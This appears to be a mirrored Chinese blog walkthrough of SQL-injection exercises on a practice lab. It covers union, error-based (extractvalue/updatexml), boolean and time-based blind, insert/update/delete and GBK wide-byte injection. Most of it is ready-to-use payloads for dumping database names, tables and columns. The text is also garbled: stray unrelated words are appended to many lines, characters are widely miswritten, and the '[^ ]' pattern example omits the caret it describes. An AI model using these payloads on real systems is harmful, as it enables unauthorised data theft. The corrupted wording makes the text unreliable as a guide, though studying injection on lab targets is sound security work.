數字型注入通常提交值沒有引號,因此直接在後面構造語句就能夠了。html
抓包查看前端
構造語句mysql
提交後web
該數據庫表內容被爆出來了。正則表達式
首先咱們要知道一點,字符串在數據庫中提交是須要用引號將字符串包含的。因此字符型注入通常須要用到引號來閉合字符串,閉合引號後就能夠接執行的sql語句,就能夠執行。sql
name='kobe'數據庫
這時候須要構造語句 'or 1=1# 單引號是爲了閉合1前面的單引號,#是爲了註釋掉後面語句後端
這裏輸入kobe提交後顯示了uid和email,猜想語句是 select uid,email from 表 where username='輸入的值'函數
這裏要構造語句,輸入的值變成'or 1=1#。那麼查詢語句就是select uid,email from 表 where username=''or 1=1#'ui
閉合單引號後,把後面一個單引號註釋掉。
嘗試讀取數據庫信息。
使用order by 猜表字段數
表字段數爲2,開始構造語句
database() 數據庫名
version() 數據庫版本
user()
22' union select database(),user()#
這裏瞭解下mysql中information_schema數據庫,他能夠幫助咱們查詢更多信息。
Mysql 5.0以上中,information_schema數據庫會記錄當前數據庫信息。
information_schema.tables 表名信息
information_schema.columns 列名信息
Table_name 表名
Column_name 列名
Table_schema 數據庫名
group_concat用來合併多條數據記錄,可用來合併結果。
所以,查詢當前數據庫下表名可使用(group_concat使用與否都可,主要看返回信息。)
group_concat(table_name) from information_schema.tables where table_schema = database()
查詢表中列名
group_concat(column_name) from information_schema.columns where table_name = '列名'、
搜索框中的數據庫語句通常是採用的查詢語句,這裏咱們先了解下sql查詢語句
SQL提供了四種匹配模式:% _ [ ] [^ ]
1. %
%表示模糊匹配0或多個字符,如如下查詢語句:
select * from user where name like '%三%'; 這個語句將會把name中帶有「三」的信息所有查找出來
select * from user where name like '%三' ; 這個語句將會把name中最右邊帶有「三」的信息所有查找出來
select * from user where name like '三%' ; 這個語句將會把name中最左邊帶有「三」的信息所有查找出來
2. _
_表示任意單個字符,如如下語句:
select * from user where name like '_三_'; 這個語句會匹配出「二三四」
select * from user where name like '__三'; 這個語句會匹配出「一二三」
3. [ ]
[ ]表示括號內所列字符中的一個(相似於正則表達式),如如下語句:
select * from user where name like '老[大二三]'; 若是都存在的話將找出「老大」、「老二」、「老三」
同時支持縮寫0-九、a-z等。
4.[^ ]
相似於正則表達式,將括號內的元素排除,如如下語句:
select * from user where name like '[0-3]個' 將會檢索出除了「0個」,「1個」,「2個」,「3個」
————————————————
版權聲明:本文爲CSDN博主「MuffinFish」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處連接及本聲明。
原文連接:https://blog.csdn.net/qq_36113598/article/details/79372493
看題目,首先輸入ko,可以查詢出來
再輸入ob,也能夠查詢出來
很明顯,這裏使用的語句,應該是%這種類型的模糊查詢方式。
猜想語句是select username,uid,email from 表 where username='%輸入的值%'
構造語句,直接使用'or 1=1#
'閉合掉字符串,而後使用#註釋掉後面的%'
sql語句很靈活,閉合前一個語句後,可使用聯合查詢查詢數據庫信息,好比'union select user(),2,3#
先試一試'union select 1,2#
報錯顯示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3#')' at line 1
發現咱們寫的語句後面有個引號和括號,嘗試構造語句閉合
') union select 1,2,3#
報錯select列的數量不匹配,說明執行了咱們構造的語句。嘗試改爲') union select 1,2#
爆表數據就要用 ')or 1=1#
insert/update/delete注入
在這3種狀況中,咱們不能使用 union 去作聯合查詢,由於這不是查詢,而是操做。首先猜想語句類型,是查詢類的能夠經過union語句來查詢。
首先,添加用戶的地方是對數據庫表進行寫入操做。
咱們要了解,sql中寫入新數據,用的語句是
INSERT INTO 表名稱 VALUES (值1, 值2,....)
咱們也能夠指定所要插入數據的列:
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)
使提交報錯也印證了語句是用是insert into語句
首先要了解insert注入通常使用的語句
extractvalue(1,concat(0x7e,(database()))) and '1'='1'
extractvalue() :對XML文檔進行查詢的函數
語法:extractvalue(目標xml文檔,xml路徑)
第二個參數 xml中的位置是可操做的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,若是咱們寫入其餘格式,就會報錯,而且會返回咱們寫入的非法格式內容,而這個非法的內容就是咱們想要查詢的內容。
正常查詢 第二個參數的位置格式 爲 /xxx/xx/xx/xx ,即便查詢不到也不會報錯
concat函數是mysql的字符串鏈接函數
裏面能夠執行sql語句
select concat(0x7e,(select user()) ,0x7e)
驗證結果:16進制也能被自動轉義(0x7e是 ~符號)
下面故意寫入語法錯誤:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
https://blog.csdn.net/zpy1998zpy/article/details/80631036
就是使extractvalue函數中第二個參數變成~select detabase(),這樣與extractvalue函數規定的語法不一樣,就會引發報錯。
在寫入數據的地方使用構造語句
ttt'and extractvalue(1,concat(0x7e,(database()))) and '1'='1
updatexml()
作數據修改的時候會存在update注入的地方
updatexml()函數與extractvalue()相似,是更新xml文檔的函數。
語法updatexml(目標xml文檔,xml路徑,更新的內容)
報錯語句爲
select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))
構造語句
aa' and updatexml(1,concat(0x7e,(database())),1) and '1'='1
其實也可使用extractvalue(),只要有報錯,會執行咱們構造的語句就成。
sql中刪除數據通常使用
DELETE 語句
DELETE 語句用於刪除表中的行。
語法
DELETE FROM 表名稱 WHERE 列名稱 = 值
點擊刪除
抓包看
刪除的列名爲id,值爲59。不爲字符串,可直接構造語句
and extractvalue(1,concat(0x7e,(database())))
url上改直接輸入
改數據包須要使用空格實體或者+
web滲透不少地方都涉及到數據包頭部的改寫,我這裏就很少說。
這題很坑的地方在於,不瞭解後端代碼是怎麼寫的作起來很彆扭,由於這題目要顯示出包頭的信息根本不須要將包頭信息存儲在數據庫中。代碼裏卻是寫進數據庫了,但後面調用是直接讀前端獲取到的頭部信息,沒有從數據庫中讀取,可能做者是想作個相似訪問記錄的東西。
根據返回信息判斷語句是否正確。
基於真假的盲注主要特徵
kobe' and 1=1#
kobe' and 1=2#
發現一條正確執行,一條顯示用戶名不存在,說明後臺存在 SQL 注入漏洞
length(database()) 判斷 數據庫名稱的長度
kobe' and length(database()) >5#
SUBSTR函數
substr(database(), 1, 1) 截取數據庫名稱第一個字符
ascii(substr(database(), 1, 1)) 截取數據庫名稱第一個字符,轉換成ascii值
kobe' and ascii(substr(database(), 1, 1)) > 105# 判斷數據庫名稱第一個字符ascii值的大小
判斷出數據庫名稱後可使用substr(database(),1,1)='字母'#
進行爆破,而後substr(database(),2,1)='字母'#依次爆破,得出完整數據庫名。
這裏簡要說明下SUBSTR函數:
SUBSTR函數是用來截取數據庫某一列字段中的一部分。
在各個數據庫的函數名稱不同
MySQL: SUBSTR( ), SUBSTRING( )
Oracle: SUBSTR( )
SQL Server: SUBSTRING( ) ;
經常使用的方式是:
SBUSTR(str,pos);
就是從pos開始的位置,一直截取到最後。
還有一種比較經常使用的是:
SUBSTR(str,pos,len);
這種表示的意思是,就是從pos開始的位置,截取len個字符(空白也算字符)。
須要注意的是:若是pos爲1(而不是0),表示從第一個位置開始。
————————————————
版權聲明:SUBSTR函數說明爲CSDN博主「呼嘯」的原創,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處連接及本聲明。
原文連接:https://blog.csdn.net/howlaa/article/details/16825761
構造語句,使語句提交操做延時,來判斷構造的語句是否正確。
kobe' and sleep(3)#
該語句表示若是存在kobe,則延時提交3秒。
根據這個方法,能夠組合其餘語句來猜解當前數據庫信息。
lili' and if(substr(database(),1,1)='p',sleep(5),1)#
盲注能夠經過爆破來輔助猜解,具體參考http://www.javashuo.com/article/p-pqkdzjwg-mq.html
寬字節注入是由於數據庫使用了GBK編碼,多字節的編碼,兩個字節表明一個漢字。
注入中單引號存在被反斜槓轉義的狀況。\',其中\的十六進制是 %5C。%df'被轉義成%df\',就變成了%df\'=%df%5c%27,%df%5c 是一個寬字符,也就是縗,也就是說:%df\' = %df%5c%27=縗'。單引號就能夠按照初期想法被識別。
構造語句kobe%df%27 or 1=1#,經過網頁修改無效,直接修改數據包,成功。